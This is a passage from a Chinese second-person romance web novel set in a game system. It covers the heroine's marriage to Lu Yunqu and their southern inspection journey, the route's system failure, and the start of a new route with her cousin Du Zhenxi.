效果非同凡响,不论是云衢的朋友还是敌人,都会来你这买上几根肉串。 渐渐的,你有了固定顾客。下雨天不出摊,第二天都要被质问不管他们饿肚子了吗? 有好心的太学弟子见你总是一人,为你保媒,不知从哪搞来的门路,把王福海王师父给你相亲相过来了。 “婆婆你看,各方面都不错!” 你:“……” 云衢挤进人群:“借过。” 他挡在你与众人之间,朝王福海行礼,然后扛着熄了火的炉子,收拾地上的厨余垃圾,把你牵走了。 众人:“……” 什么情况? 其中一位:“哎,我与云衢关系最亲。他这是在世上亲人太少了,把这位婆婆当成亲奶奶了!你们就不要再捉弄她和王厨了。” “哦、哦!没想到这茬,我还以为……是我有问题。” “他力气原来这么大,东西扛身上,还有力气牵手呢。” “是啊……还好之前没跟他起过冲突,打我怎么办。” “再怎么有才学,也不过是个无恃之人。敢动你吗?怕个什么?” “这就是你眼光浅陋了。卢云衢师出三司,又做了沈大人的女婿,是给太子准备的辅政之臣。你我到那时,还不知身处何处呢。” 第95章 路边摊就此终结。 为了不让顾客们过于伤心, 你留了炙肉配方在之前摆摊的地方。 “景蕊。” 丫鬟接了云衢的书包,退到马车后。你把手放到他的掌心,张望顾客们的反应。 在互相埋怨呢, 以为是他们自作主张给你保媒把你吓走了, 但事实并不是那样。 你玩腻了。不过—— 有你做先例, 太学之外已经有其他摊位在摆了,很多人加入了路边摊行业, 一条道上就此繁华。 云衢牵着你踩过一块不大不小的石子,道:“我今日修了策论,姐姐想听听吗?” 收回目光, 你点头。 “正好有些困了, 等下到车里说给我。” “嗯。” 他扶着你上车,“今日卫棠没有跟来吗?” “没, 他去我娘院里帮忙清扫去了。” 你回身也拉他,两人都坐上马车, 回家还要一刻钟,你便躺到他膝上蜷缩在坐处休息。 “今日在家玩了什么?” “跟宁师父研究能供人飞翔的纸鸢来着……怎么就没有加智力的课程……” “姐姐不是有本领变成会飞的动物吗?” “自己飞和坐着玩不一样。” 你道:“我之后还打算建一个水滑梯。” 云衢拨你脸上的碎发:“是何意呢?” 你手臂伸展倾斜,用线条解释什么是滑梯。 他道:“和滑台很像,小孩子们会找草坡这样玩。” 聊了一路, 疲惫和困意都被他疏散不见。温温凉凉的指尖按揉着你的额头, 回应你说的所有话, 在话说尽时抛下一个话题。 回到房里也没见到卫棠,你打听了下, 他自从去母亲院里后一直都没回来。 你沿着他会走的路找, 正好撞见他和面生的小厮打架的场景。拳拳到肉,动作狠辣,艳丽的脸因暴戾显得泡了毒汁一般。 “去死……” 他看到地上被夕阳拉长的影子, 惊恐回头。 你歪着头看他,看他有些灰土的脸颊。 卫棠一下撒手,泄了气般失去刚刚的气势,眼睛被睫毛挡着,左右乱飘。 “小姐,我……” 小厮从地上挣扎站起身:“会说话……男、男人……” “发生什么事了?” 卫棠红着眼控诉:“我去帮夫人刷地来着,这人一直纠缠我搭话,用不知泡了什么的帕子捂我的嘴,把我往外面带,我昏了一会儿,还好及时醒过来!都是有原因的,我没有随便打人!” “嗯。” 你抹他的眼泪:“我没有指责你的意思,不需要解释。” “我只是在想,原来没有我的保护,你也能过得很好。” 卫棠:“……” 后续你叫月梧处理此事,得知那位小厮是府外色鬼的帮手,只待把卫棠骗出去做掉。他们的流程十分严谨,全程没有任何纰漏,除了对卫棠身材的误会,将他个子等同于普通女子,使得迷药用量过少让他提前醒来。 月梧发怒,用了十几天,将沈府上下挨个审查一遍,找出了好几个可疑之人,全部严惩。 惩罚过后,她并不觉痛快,反而伤心。因为那些做小动作的人当时也是她亲自挑进府里,她确信他们当时清白。 母亲道:“怪不得你,也怪不得他们。时间久就会发生很多事,人很难保持最初的心境。” 月梧道:“为何我便可以不变?” 母亲笑:“说明你是珍贵之人。” 珍贵之人。 你回想少年时的自己。 变了好多。 当年自己嗤之以鼻的事,现在可以为了钱面不改色地做出来。 不再善良,不再热心,凡事倾向相信消极的一面,快乐需要条件。 你应该算不得这种珍贵之人。 母亲看出你眼中的自嘲,抬手捏你的脸:“怎么,觉得你变了,不珍贵了?” 你道:“娘一定会说,‘不论你变没变,变成什么样子,你都是我珍贵的女儿’。” “你不小了,我不会再那么哄你。” 母亲望着你:“珍贵的宝石有很多类,只有你自己能决定你是什么,不必在意别人的话。你与云衢都是多思之人,慧极必伤,不要想太多。” “……哦。” * 五月初,云衢殿试。 同期考生皆是经历层层选拔脱颖而出的人才,据景妍分析,各个都是宿敌。 “这个和云衢一样有过目不忘的本事。” “这个五十岁了,德高望重,不好轻视。” “这个有神童之名,六岁就能作诗了。” “这个……” 萧烈。看着眼熟,仔细回想了下,你记起他是背景剧情里景妍的男主角。 “似乎很有文治武略。” 说完她便恍神,“不对,不能用这个词说他,他不配。” “总之,云衢才十四岁,就走到殿试面见天子,可以说是旷古至今的例外!成与不成,他以后的官运都会不错。” “是吗。” 景妍热血沸腾道:“没想到他为了配得上姐姐这么努力,我也不能松懈下去了,我可是姐姐的妹妹呢!” 你问:“你和萧烈发生什么了?” 沸腾的热血被冷水迎头浇灭。景妍眨了眨眼,背驼下去:“没发生什么,就是总能遇见他,总能梦到他。” “你一点都不喜欢他吗?他长得还不错,家世也好。” 景妍摇头:“我没想过喜欢谁,但我绝对不喜欢他。” 每次见到他,晚上都要梦到他,然后梦到梦里憎恨她的姐姐。 他靠着伤害她姐姐的事来向她邀功,梦里的自己偏偏接受了他这一套。 景妍现在因为那些梦快要讨厌死他了,在现实中遇到萧烈,她都要紧急确认姐姐在不在附近,以免被他误伤。 你看出景妍有所隐瞒,只告诉她若是以后受了委屈要跟你说,你会帮她处理。 景妍答应了。 殿试结果,云衢是探花,第三名。 策论对答,同期考生都认为云衢说得最好,语调稳重,音色清沥。 但他就是第三名。 对此皇帝有解释,他觉得云衢是当时那些学生里相貌最好的一个,这个朝代的规矩便是探花郎要选才貌兼修的人来做。 你承认他对云衢的赞美很有眼光,但他另有目的可能性更大。 比如云衢虽无父母亲族依仗,但他是你父亲的女婿,沈父是朝中要员,云衢若得状元,以后不论为政资质,声望都要融入进沈父的势力。 虽是人才,但放到第三更稳妥。 父亲应是想到这一茬,并不遗憾云衢的第一名。但身边的苏师父、陈师父都很为他难过,感慨云衢的苦命。 他们总因为云衢的过分懂事忘记他的年纪。 他领先很多同龄人入朝为官,尽管是官职低微的大理寺评事,但大理寺晋升机会多,并不算什么天坑职位。 他去官署任职,和去太学读书没有两样。每日起早走,在傍晚放值回家,背着你和景妍缝的书包,走在斜倒的阴影里。 等待婚约的几年,你把所有好玩的、能玩的玩个遍。 景妍到了议亲的年纪,整日忙着被父亲母亲安排见各家的公子,抽不出时间黏着你。 萧烈家里来提过三次亲,都被景妍亲口拒绝。父亲虽看好萧烈的条件,但比起那些虚的,他在意景妍意愿更多。有他替景妍担忧,你不再插手这档闲事。 玩乐之余,你跟余师父学了制作衣服的流程。正是夏天,长袖长裙穿着闷热,自己做了一套短袖短裤睡衣试穿。虽然针脚还有些生疏,但满数值带来的效果非同一般。从未想过睡衣能这样合身。 新学会一样东西,做着在兴头上,你开始了整个府邸的送衣服活动。连黑猫都获赠小裙子一身,不过它很不喜欢穿。 一直到云衢冠礼后,你与他正式拜堂成亲。 两人熟得不能再熟,成亲了也只是从家里的一处院子挪到另一处。 杜枕溪喝喜酒时建议他:“还是要有你与妻子小家的宅院,不然以后家人吵架,你处理起来很麻烦。” 云衢听了进去,次日便在空闲时看房,虽然他还没钱。 看房期间机缘巧合抓到了犯人,正是大理寺下达缉拿令却迟迟抓不到人的绑匪。 他的官运就是这样。 因为有这样的配偶,养成结束以来沉寂的数值页面再次开始跳动,声望值突破新高。 在声望值最高,云衢终于买下沈府附近宅子时,他被皇帝派出汴京去各州巡查民生了。 莫名其妙的一道命令,而且派的还是在汴京才崭露头角的云衢。 早朝结束,父亲要他来沈府书房商议此事。他的意思是让云衢装病辞官不去。这种巡视得罪人,认真得罪同僚,不认真得罪圣上,唯有逃避可破局。 云衢沉默思索,良久:“我不会惹到任何人。” 父亲有一瞬不解,只有一瞬,之后便都是欣赏。趋利避难是人的本性,如果有人能为自己的坚持甘心铤而走险,就算没有好下场,他也由衷佩服。 傍晚云衢回家,你正在墙角梳理牵牛花的藤,打算把它们缠在木架上,这样你们的新宅就有了花墙。 他提起官服,蹲到你身侧伸手帮你,闲谈般的口吻说他可能要马上出差的事。 第96章 和云衢有了自己的宅院后, 你把母亲接来家里住,常用的侍女、信得过的小厮也都带了过来。 母亲听说云衢被外派的事,将他召去仔细询问。 他这一趟要去南境钦州、琼州、廉州、永州, 探查军务、核实民生。 谈话间, 景妍从外面回来, 稍微敲了敲门,进来挽着你的手听。她最近认识了一些新朋友, 每天要在外面玩半日才回家,回家前还要来你的府邸转一圈。 母亲对云衢的一意孤行感到气恼。“你义父已经给你指了明路,圣上看不惯你有政绩, 便辞官在家赋闲几年又如何?何必事事应答?你以为你有忠君之节, 在别人眼中,你就是个实心眼的傻子, 你走了,你让景蕊怎么办?” 云衢低头, 神情恭敬:“姐姐留在京中,大约三四年我便归家。” “三四年,你以为这些时间不算什么,但你要在这三四年里遇到形形色色的人, 走各种难走的路, 一旦遇到什么险事, 死在外面该如何是好?” 月梧拉了母亲一下,对她摇头。她勉强收了收脾气。 景妍与你耳语:“成婚这么久, 云衢私下还叫你姐姐呢……” “也叫别的称呼。” 她笑:“什么啊?” “景蕊姐, 沈景蕊,景蕊……” “无趣,姐姐你别说了。” 云衢声音干涩:“娘说的这些我也想过。” 他跪身下去, 叩首。 “我会拼命回来。但有不测,娘要顾好姐姐。” “你!你!……” “你这样,你熬了这么多年娶她,还有什么意义?你不如从来不问她,省的一家老小都因你的事忧心!” 母亲气到泪出来。 除了为女儿着想,她也实实在在担心云衢的性命。他是她亲自照看长大的,新岁添衣加食,哪一样少想了他。一贯在几个孩子最听话的人,结果遇到事,反而怎么说都不听! 望着母亲几近垂泪的面庞,和云衢执拗沉默的背影,你开口。 “娘,我打算跟云衢一起……” 月梧喝止:“小姐!你要把夫人气死吗?” 景妍惊诧:“姐姐……” 你拍了拍妹妹的手,走到母亲身边蹲下,仰头看她。 “无论发生什么,我在就没关系,娘知道我的功夫,不是吗?” “那也……” “我想跟着云衢看看其他风光,就当出去玩了,玩腻之后我们会回来的。” 母亲的脸色渐渐松动。你平日里太过低调,令她时不时就忘记你的本事,潜意识还作为母亲想要庇护你。 以你的身手,有你陪同,云衢似乎不那么需要担心…… 云衢语气郑重:“前途未卜,我不能让你涉险。” “我不会涉险。” “明枪易躲,暗箭难防。” “我会识破所有暗箭。” “总有疏漏……” “没有。”有就读档。 云衢说不过你。他本就不善言辞,在你面前更是说不出什么重话。 只笨拙:“我不带你。” “那我自己去。” “边陲之地,我想不通有什么可去。” “我想得通就够了。” “你若随同,不可带婢女服侍,不可带黑猫狎玩,不可穿锦衣华服,也无法顿顿餐肉。” “我都不要。” 他深呼吸,“姐姐。” “我要跪求你,你才能改变意愿吗?” “你跪着求我也没用,我想去就是想去。” “……” 云衢沉着脸色,默了默,朝母亲行礼告退。 他走了,屋内几人都忘了说话,许久,母亲醒神般:“他跟你吵架了?别是偷偷躲在哪哭,快去看看吧。” 她慢慢道:“我是不管你们了。想去便去,想留便留,云衢实在不让你去,你便听他的吧,他实心实意为你好。” “……” 你没有去找他。 自顾自跟着房里人收拾行装。卫棠忧心忡忡:“小姐真要去那么远的地方吗?” “嗯,我会给你带回来只有那边生长的花种。” 他勉强笑笑:“可是换了地方,花还会开吗?” “我还是陪小姐……” “你留在家里,和月梧一起看护我娘,周夫人、郑夫人来找不痛快,一定要帮我娘智取赢过她们。” “……” 你晃晃他的手:“听见了吗?” “听见了,我会办好。小姐也要像你说的那样,全须全尾地回来。” “嗯。” 离家前夜,你睡梦时,云衢回到卧房,坐到你床边。 这些日子他赌气与你分住,留宿书房。对你来说毫无影响,你照常起居准备远行,梗在心口难受的只有他一个人。 他将吻轻轻落在你眉间。 他知道,姐姐向来勇敢正义,不会放他独自在外风霜,置身事外过安宁的日子。 所以他要提前离开,这是他看你的最后一眼。 小时候他就喜欢姐姐,是姐姐给他和父亲相处最后时日的机会。 那时的喜欢简单,很单纯地想追随姐姐,依靠姐姐,晚上许愿姐姐明天能多陪他一刻就好。 长大一些,他的喜欢自然而然地演变为思慕。与一个很好的人朝夕相处,无论是谁都会动心。 当然,也是因为姐姐拔节生长的身姿,束发时洁白纤细的后颈,看向他或别人时游离温和的目光,无论什么都做得到最好的魄力…… 他不可能让姐姐跟着他吃苦。 义母说的不错,他不如不娶她,不问她,何必惹她忧心动气。如果他们不是夫妻,姐姐应该会和义母一样,劝他几句便作罢,不会犯傻背井离乡,跟着他一路南行。 他爱姐姐,但做了官,就不能只有爱姐姐一件事,他要对得起自己的职位与俸禄。 卢云衢将窄长的木盒放到你的枕侧,无声地出了房门,没有回头。 天大亮,你被枕边的木盒硌醒。手不小心甩到上面,磕痛的余韵让你陡然惊醒。 睡前身边是没有这个东西的。 你坐身清醒片刻,将盒子打开,目光一顿。 晨光照在像生花上,保存完好的花身折射柔和的光。 你抱花趿着鞋子走出房门,院子里的丫鬟们都满面愁容地望你。 “大人天未亮就离开了,要我们无论如何不能惊动您……” 但她们良心难安,一直没有重新睡下,索性在你房门口等着你。 你站在原地许久,转身回房。 洗漱完毕,穿戴整齐,你跟卫棠交代自己要先走一步,让府里的诸位及母亲景妍他们不要惊慌,之后你会和云衢一起从南边回来。 你用变身道具把自己变成鹰,从后院出发,朝着云衢出任的路线飞进。 他们轻车简从,又走得早,你追到时已经下午。护送的队伍行至福县,在郊外喂马歇脚。 躲到坡下撤销道具效果,你朝他的马车走去,面无表情掀开车帘,和双瞳湿润的云衢对上视线。 在哭。 宁愿一个人哭,也不愿意跟你一起,真是好骨气。 云衢瞧着你怔了怔,掀车窗往外看,目光又转回来,你依然没有消失。 “姐姐……” 你有一瞬间恍惚,他可能要像小时候一样扑到你怀里流泪。 可他没有,他长大了。 你松了车帘,柔滑的白缎挡在你们中间。来给主子送水的小厮见你,像偷东西被抓包一样心虚。 “夫人……您……”他试图微笑,但嘴角提了几次没提上来,“您来了啊……” 你冷道:“给我另外准备一辆车,外加几套换洗衣服、洗漱用具。” “是。” 吩咐完,你去马匹吃草的地方一个人坐着。有马对你好奇,凑近闻闻,被你摸脸。你的手冰冰凉凉,摸得骏马很舒服,开心得在你身上吐了几口吃到一半的干草。你一根根从身上往下摘。 卢云衢意识到他这次彻底惹了你生气,心慌寒冷般游走四肢,令他无法动作。 你是一个人追上他的。 他钦佩想,你的功夫原已精进到这种地步,徒步便能行三十余里追上他的车马。 有这般的本事,想出来走走,他的确不该因为自己的担忧就限制于你。 自以为对你好,反而阻碍了你和脚步。你本就不怎么喜欢他,现在一定讨厌透他。 天色将暗,主人一直没发继续前行的命令,随行护卫窃窃私语,不知这趟南行能否进行下去。 “卢大人惧内啊。” “小声些。” “跟咱们大人不必如此,你说他惧内,他说不定很爱听。” “话说沈小姐果真勇猛,一个人敢走这么远的路追上来。” “一下午了,我还是不明白她到底是怎么追上来的……” 有马蹄声传来,紧接着一声勒马。 “吁——” 是下午离队的小厮。他身后跟一辆马车与陌生的车夫。将车送到,车夫毕恭毕敬地朝卢云衢行礼,走上回县的路。 “哎哟,累死我了。” “你真弄来马车了,从哪找的?这么小的县竟有卖马车的?” “自然没有,我直接去官府买的。那人听说是卢大人、沈小姐用车,给得可痛快,要咱们替他多美言几句!不只是车,衣裳也都是县令家出的,还要送细软,我没收。这些东西的钱也照给了,先不跟你说,我去跟大人禀报。” “去吧。” 手下将事办得井井有条,虽不是他的吩咐,但卢云衢也给了赏钱。 他准备很久,鼓起勇气上前道歉。 你看都不看他,随手指了个人要吃的,坐进马车里等饭。 冷了他四五日。每次他来找你,你都挪步到另一处与他分开。住进沿途的驿站也与他分房而睡。 你看得见他失落的眼睛,但并不心软,一定要惩罚他这种自作主张的个性。 夜间听到他在隔壁的咳嗽声。 不是清嗓子,而是重重的咳声,紧接着有瓷器碎裂的声音。 你跑过去查看情况,看着他坐在烛灯前披散着长发,扶着书案,嘴角还带着褐色的药汁,将他的唇色染成深红。 你站定望他。 侍从闻声赶来:“大人!大人您没事吧!” 他们越过你围到云衢身边。 “好烫,大人发热了,去请乡中的大夫来!” “好!你将大人扶到床上歇息!” 云衢抬手表示他没事:“不必叫,我并无大碍。” 他视线若有若无落在你身上,“我要睡下了,都出去吧。” “但是……” “我没事。” “好吧。” 他们先后离开,最后一人出门前问了你一句。 “夫人要回房吗?” 前一位听到声音,连忙回来抡他脑袋:“呆子!跟我走!” 你:“……” 门紧紧合上,有把你们关死在这个房间的力度。 你依旧立在原地。 云衢走近牵你的手:“姐姐还气我吗?” 你不说话,将手从他手中抽出。 他没有黏黏糊糊追上来。你躲他的亲密,他就不会再冒犯你。 “更深露重,”他找了一身干净的外衣披到你身上,“姐姐小心着凉。” 你问:“你喝的什么东西?” 第97章 【人物档案】中, 他并没在疾病状态,实际看上去也与以往无异。 你询问:“为什么不说话,你明明没病, 在乱喝什么东西?” “……” “再闷着我们就完了。” 他有些被你伤到, 抬眼望你片刻, 侧过头。 “我在喝……绝子药。” 昏暗的房间彻底陷入寂静,听得见窗外的虫鸣与远处水田里的蛙叫声。? “……是从义母那里讨来的药方。喝下一副, 前几月每月一碗延续功效,第二年起间隔三个月,到现在是半年一副。” 他沉重地呼了口气:“我又自作主张了, 对不起。反应过来时, 已经喝到嘴里,想让自己吐出来, 却不小心闹出了动静,扰了姐姐休息。” “生子命悬一线, 即便活下来也可能有大大小小的病,我娘……就是那么死的,可是……” 橘色的烛光下,泪成线般从他的脸侧滑落。 “可是我没问过姐姐的想法, 如果姐姐想要一个我们的孩子, 我还是听姐姐的……” “我不该打着为姐姐好的名义做这些事, 归根结底,是我心中恶念, 担心姐姐终有一日对我厌倦离开, 想讨好姐姐,想控制姐姐。学了那么多年的圣贤道理,终究改变不了我低劣的本性, 姐姐如此冷漠待我,想来也是不想要我……” 寡言少语的人,哽咽着说了这么多话。 你叹了口气,“过来。” 仿佛一扇无形的门被打开,他的怀抱倾压过来,将你整个人抱在怀里。由于身高差异,拥抱的姿势像水浸到脖颈将你淹没,但仍然有种你在怀抱着他,他将身家性命都托付于你的感觉。 如果在你追上来时,他就像现在这样不克制对你的依赖,你根本不会冷这些天教训他。 “真的知道错了?” “知道了,姐姐。” 失而复得,他控制着拥抱你的力气,低声控诉:“姐姐太凶了,我很害怕。这些年来你从来没那么看过我。” “还不是因为你有本事耍我。” 他吻了吻你的唇,恳求:“以后都不会了,原谅我吧。” 随手缠他的发尾,任他抱了会儿,你跟他把话说开。 “云衢,我不是不喜欢你对我好。你珍惜对我,我很开心。” “但我跟你成亲不是为了束缚自己的手脚,我想做什么,你可以反对,跟我商量,如果你有道理我会听你的,但是绝不能你替我做主。” “我明白的,以后不会了。” 你视线落在地上碎裂的药碗上。 绝子汤。 “云衢,你喝这药有什么副作用吗?就是对身体不好的影响,让你不舒服的地方。” “……” 他沉默片刻,“有。” “是什么?” 他抽了抽气,哭得狠了就会有这样的表现。 “很难放出来,早起出门会有些麻烦。” 你笑了下。 他听到你的笑声,勉强保持镇定,将长发从领子里挑出:“我去拿你的行装。” 你并没有老实等在原地,而是跟在他身后,手里牵一缕他的头发:“那是好药啊。有的人梦寐以求这种药都求不来,又能避孕,又能延时,药方是什么,你告诉我,我背下来,以后做这种药出去发家致富……” 进到你的房间,他将你的衣物和这几日沿途买的吃食整理到一起,面不改色,但耳朵红透了,在月光下尤其分明。 “那你喜欢我那样吗?” “喜欢。” 他叠衣裙的动作一顿,“我以为你讨厌,你说过不行。” “拒绝一下更有感觉。” “……我却以为,你是真的不要了。” “是的,你停下来时候我很无语。” 他挪了挪,背对你叠衣裳,头低到埋进地里的程度。 你从背后压着他,亲了亲他的侧脸:“没关系,看你自己弄出来也很爽。” “姐姐喜欢看?” “你要给我表演吗?” * 你和云衢和好,手下伺候的人都松了口气。 从卢家就跟在云衢身边伺候的小厮挺直腰板,朝那几个图谋不轨,伺机上位的护卫冷嘲热讽。 “有些人啊,之前还在河边休整时就差把裤子脱了,结果夫人连施舍都没施舍一眼,太好笑了。肚子上多的那几块肉,以为是黄金吗?我们大人也有啊,不仅有,还比那些人更白更漂亮。贱皮子不要脸,勾引有家室的女人,简直自取其辱。” 被嘲讽的几人灰溜溜不说话。 小厮越战越勇,还要继续批判,被不知情的云衢叫走办公。 他们发现沿途乡地的尺寸与公尺有些不同,正准备重新丈量。 奉田村共有二十多户人家,上午开始量地,一直量到傍晚都没回来。 晚饭后,你去地里看情况,这才发现云衢几人被村长派人堵在田垄间,不允许他们再挪动一步,除非他们承诺不再管这事。 云衢没被威胁到,他坐在垄头安静望着远处夕阳染成鲜红的天际。 “夫人?” “夫人您可算来了!刚刚那个老头打我们大人!” 村长同样吃了饭从家里出来,正拿草棍剔牙,听到他控诉,嗓子发尖地嘲笑一声:“跟一个女人告状有什么用?在我们地盘,就是天王老子来了,也得给我几分薄面!再说地少没少,我们种地的人能不知道吗?” “厚颜无耻!” “哼哼,听不懂你们文人说的话……” “呀,使君自己长得好,娶的夫人模样也不错。让我看看……” 你捉住他伸来的手腕,反向拧转,听到骨骼错位的“咯咯”声,还有村长本人吃痛的尖叫。 “停手!停手!你做什么!柱子,福子,就知道傻愣着,还不快来救我!” “哎!哎!来了!” 你手上发力,将村长倒头摔到地上,随后攻击两位壮年男子的关节,趁他们吃痛脱力,将手中农具夺走,将他们一并也撂倒在地,招呼云衢身边的小厮、副手过来,一人脚底踩一颗脑袋。 “痛痛痛!我错了!姑奶奶饶命!” 你走到云衢面前,捏他的下巴左右看:“被打了?” 他摇头,捏了下你的掌心:“晚上回房再看。” 吩咐过身边人去调护卫,卢云衢当着那些村民的面磨墨写文书。共两份,一封递到当地官府,一封送到汴京岳父处,让他们出手探查。 村长尚且敢理直气壮占用公家的土地种私田,其余阶层不言而喻。 王朝果真弊病已久。 说不上运气好坏,之后的路上你们也碰到类似这种的政绩,大大小小,有你在侧,处理起来并不麻烦。 他是真心当差,你在陪同他的过程中也见识到了世间许许多多的面孔,有人恼羞成怒,大开杀戒,有人哭诉冤情,求六月飞雪。 越往南走,气候越湿热。经过一处农庄,正是当地的丰收节。村民们围着稻谷唱歌跳舞,光是看着都能感受到他们的安宁与幸福。 其中一个女孩子频频朝你的方向侧目,靠近问:“夫人想不想跟我们一起跳舞?” “我不会跳你们的舞。” “我们都在跳自己的舞,夫人也可以跳你的舞。” “……” “跳嘛跳嘛!” 你被气氛感染,点头答应。 年纪小的孩子们凑在一起欢呼,手拉着手将你圈外中间。 卢云衢从屋内出来,看到的就是你在夕阳下翩翩起舞的场景。 向下是金黄的麦田,远处是连绵不绝的山影,日头坠落被地平面打捞,在半边天空染下浓烈的橙。 你跳舞时身姿柔软飘逸,师从卫棠,却不见他跳舞时的媚色。在你身边,村民们也在跳着属于他们的欢乐的舞。 “饭好啦!快尝尝,今年新成的米!” “来喽!吃饭吃饭!” “我坐这边!” “我挨着卢大人坐,哈哈。” “大人喝酒!自家酿的!” “我不喝……够了,多谢。” “给我倒点尝尝。” “好嘞夫人!” 当晚,被热情款待到醉得迷迷糊糊的云衢,送了你二十五岁的生日礼物。 是他亲手打的一把青铜剑,剑身轻盈漂亮,很像你在现实中博物馆里看到的宝剑。 你爱不释手,有些遗憾:“为什么不早几年送我呢?” 你喜欢他的礼物,却没有时间再去使用它。 你们的缘分止于今夜。 “我们之后要去哪?” 湿润的、含着酒气的眼眸盯着你笑。 “唔……思图县。” “没有这个县名,你是想说四都县吗?” “嗯。” 你道:“我会用这把剑守护你,守护我们的家人的。” 【二十五岁后,你的丈夫卢云衢结束了他的查访使命,将沿途及边陲的情报带回汴京。 皇帝对他改变了看法,将年纪轻轻的他列为心腹。 你们夫妻在南境互相扶持的佳话被民间传颂,有才之人将故事写成了乐府诗歌唱。 但你辛苦磨砺自己多年,就是为了成就他的事业吗?】 任务2:【成为一名出色的恶毒女配】 【进程92/100】 【未满足通关条件】 【系统监测恋爱过程,评定积分中……】 【系统评定恋爱积分为73】 【等级为S,未满足通关条件】 【闯关失败】 好了。 你凝神收心,准备轮下一个人。 第98章 和游戏论坛里说的完全相同, 走杜枕溪线路可以说一路绿灯。 从你说想要嫁给表哥的那一刻起,母亲、父亲,就连月梧都露出了之前没有过的轻快的笑容。 在他们心里, 嫁给杜枕溪是一个比太子还要完美的归宿。 两家知根知底, 再加上从小一起长大, 你们关系也不错,结成夫妻能够过上幸福的一世。 无须你上心, 婚约状态在三日后聘礼上门时定下。 三舅母握着你的手,从见到你的那一刻嘴角就没平展过,不是摸摸你的发髻, 就是跟你比手腕, 要把她那只戴润的镯子送你。 母亲见状无奈笑,有些惆怅:“现在盯得这样紧做什么呢, 以后景蕊要在你家过一辈子了。倒是我该紧着她出嫁前的这些日子瞧,以后见一面少一面……” 三舅母笑:“敏娘难受什么, 儿女成亲是好事。家住得不远,以后闲来无事,景蕊想回你这边便回,我一句话都不会挑她的。” “哎……枕溪去哪了?” “奇了, 他没在你家?” “这几日都没见他。嫂子, 婚事你们可问过枕溪的心意?他若不愿……” 三舅母心里寻思这孩子又跑哪去, 面上笑:“……你放心,敏娘, 枕溪不会不愿, 他很喜欢景蕊,每次回家都跟我们说表妹如何。” 母亲仍坚持:“还是等他回来你亲自问他一问。成亲便要过一辈子,其余都是虚的, 心意相通才是重中之重。” “我明白。” 但之后几日还是没见到杜枕溪的踪影。 云衢因帮他隐瞒去向被父亲罚抄,杜府、沈府陷入一股难言的低气压中。 父亲私下问母亲,是不是杜家那边不愿再跟他家结亲事,才吩咐杜枕溪藏身,对景蕊的婚事推拒。母亲也感到费解,她不清楚枕溪的态度,但哥嫂对亲事的热衷做不得假。 所以可能是枕溪自己不喜欢景蕊,听说了两家在谈婚约就躲在外面不回家。 景妍宽慰:“母亲安心,杜表哥一定是被外面的事给绊住了,没能立刻赶回来。姐姐这么好,怎么会有人不喜欢姐姐呢。” “且就算他不想娶姐姐,也不会这样给咱们家难看,杜表哥一定会跟你与父亲解释清楚他的意愿,要是不喜欢就正经拒婚了。” “……说得有理,枕溪他被我三嫂教得很好,不是那种人。” 父亲叹气:“等他回来问问他罢。我再派些人手去找。事到如今,希望他是真的瞧不上景蕊,总比他出了什么危险强。” * 你从宁师父那边选了一把青铜剑。手感轻盈,开刃锋利,但没有云衢做给你的美观。 院子后面的坡下种着一片竹林,你穿了紧袖束腿的衣裳在竹林中耍剑,随心所欲,怎么酷怎么来。晨光从尖叶骨枝间泄落,生出些润蒙蒙的雾气。你在空中跳转劈斩,扫碎的竹叶落了一地,弥漫着植物泛苦的浆液气息。 使了一通剑法,收势,你听到了身后清亮的叫好声。 “景蕊好功夫!” “……” 杜枕溪站在竹林间,穿着不属于他的褐色的布衣,上有缝补的针脚,不掩容颜。仿若吹在山谷间清澈的风。 如果忽略他脖子上围了几圈的青蛇的话。 “嘶嘶。” “这是我表妹景蕊,你们认识一下?” 你:“……” 后退几步,到你认为的安全距离。 “表哥这些日子去了哪里?” 杜枕溪道:“说来话长,我肚子好饿,给表哥找点吃的过来。” “还吃,你要挨揍了。” “啊?” “啊——痛痛痛!” 客室,三舅母红眼拧杜枕溪的耳朵。 “一声不吭走这些日子,我差点以为你死在外面了!你这孩子,能不能稳重些,像云衢那样,哪怕有他半分我也能多活几年!你到底干什么去了!” 杜枕溪老实认错:“再不会了,娘,你别哭。” “我跟作孽了似的,这些天总能梦到你死了,你都还没加冠,在梦里叫娘、娘……” 母亲握住她的手,将杜枕溪的耳朵摘了出去:“行了,孩子不是没事了吗。” “他没事,我还难受着!要是像你一样生了个女儿,我不知如今要美成什么模样!” “你喜欢女儿,就把景蕊当成你的女儿。” 她们推心置腹地聊着。 你端来一碗新煮的馄饨递到杜枕溪手里,瓷碗外壁很是烫手,你隔了帕子端的,他接过去也要用帕子,小心跟他对着手指的位置。 “可不行!我不要女儿!让景蕊当杜家的儿媳吧!” 杜枕溪抬头朝你笑。 你不解他的笑,被馄饨碗捂热的指尖握住耳垂,你坐到了身后的椅子上。 杜枕溪挨着你坐,将馄饨放在你和他中间的桌子上,低头猛吃。他吃得快,吃相却不难看,鼻尖擦了胭脂般被热气熏红。 吃得半饱,他有了空闲来闹你。 “定亲了?和谁啊?听松哥还是望月哥?你喜欢漂亮的,是望月哥,是不是?” “哎,你要是嫁回家里,我肯定护着你,不让你被……” 他脑门被三舅母抽了一掌:“去!说的什么乱七八糟!要娶景蕊的人是你!” 母亲出言拦了下:“先别下定论,问问枕溪的意思。枕溪可有心中之人?” 杜枕溪意识到事有不对,“我吗?要我娶景蕊?” 母亲道:“你若不愿也无妨,没人勉强你。婚事是你父母的好心,万不要落下恶果。” 他先是望向你,你神情不变,显然对此早就知情。他慌乱避开视线,求助般看他娘。 “说话,枕溪,大大方方的。” “……我没想过谁,没有心中之人。” 母亲问他:“任何女子都没进过你的心吗?” “是爱慕,就没有。” “你对景蕊如何想?” “表妹,姑姑您的女儿。” “景蕊若嫁你,你当如何?” “……我配不上她。” 室内沉寂。 你打破这场沉寂。 对他笑,“表哥原来想过娶我?” 杜枕溪后知后觉自己的话可以另外解读,被你笑出一阵陌生的心慌。 你向来不吝啬自己的笑,但他觉得你此刻的笑和之前的笑不同。 他转向他娘,神情复杂:“还是不要了吧……” 三舅母不为所动:“我看上景蕊了,你不娶也得娶。” 母亲劝道:“嫂子,成婚以后过日子的是孩子,你还是要听枕溪的意见。” 你站起身,走到三舅母身边挽她的手,道:“娘,我也认定三舅母这个婆婆了,只要我嫁人,我就要定这场婚事。” 杜枕溪:“啊?” 母亲:“景蕊!” 三舅母:“好景蕊!好乖乖,舅母也喜欢你,一眼就看中你了。不管他们怎么说,舅母就认定你了!” 跟三舅母亲近片刻,时候不早,她收整回府。 